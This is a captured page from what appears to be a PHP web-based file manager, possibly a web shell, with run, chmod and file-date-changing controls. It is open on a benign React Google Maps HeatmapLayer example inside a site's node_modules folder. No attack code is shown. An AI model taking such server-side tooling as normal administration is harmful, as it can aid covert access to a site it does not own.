BLUE
PHP 7.4.33
Path:
/var/www/sitesecurity.bitkit.dk/httpdocs/node_modules/@react-google-maps/api/src/components/heatmap
Run
Logout
Edit File
Size: 1.56 KB
Close
/var/www/sitesecurity.bitkit.dk/httpdocs/node_modules/@react-google-maps/api/src/components/heatmap/HeatmapLayer.md
Text
Base64
# HeatmapLayer example ```jsx const { GoogleMap, LoadScript } = require("../../"); const ScriptLoaded = require("../../docs/ScriptLoaded").default; const mapContainerStyle = { height: "400px", width: "800px" } const center = { lat: 37.774546, lng: -122.433523 } const onLoad = heatmapLayer => { console.log('HeatmapLayer onLoad heatmapLayer: ', heatmapLayer) } const onUnmount = heatmapLayer => { console.log('HeatmapLayer onUnmount heatmapLayer: ', heatmapLayer) } <ScriptLoaded> {() => <GoogleMap // optional id="heatmap-layer-example" // required to set height and width either through mapContainerClassName, either through mapContainerStyle prop mapContainerStyle={mapContainerStyle} // required zoom={13} // required center={center} > <HeatmapLayer // optional onLoad={onLoad} // optional onUnmount={onUnmount} // required data={[ new google.maps.LatLng(37.782, -122.447), new google.maps.LatLng(37.782, -122.445), new google.maps.LatLng(37.782, -122.443), new google.maps.LatLng(37.782, -122.441), new google.maps.LatLng(37.782, -122.439), new google.maps.LatLng(37.782, -122.437), new google.maps.LatLng(37.782, -122.435), new google.maps.LatLng(37.785, -122.447), new google.maps.LatLng(37.785, -122.445), new google.maps.LatLng(37.785, -122.443), new google.maps.LatLng(37.785, -122.441), new google.maps.LatLng(37.785, -122.439), new google.maps.LatLng(37.785, -122.437), new google.maps.LatLng(37.785, -122.435) ]} /> </GoogleMap> } </ScriptLoaded> ```
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 2
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
HeatmapLayer.md
1.56 KB
lrw-r--r--
2026-04-28 09:11:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
HeatmapLayer.tsx
5.00 KB
lrw-r--r--
2026-04-28 09:11:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).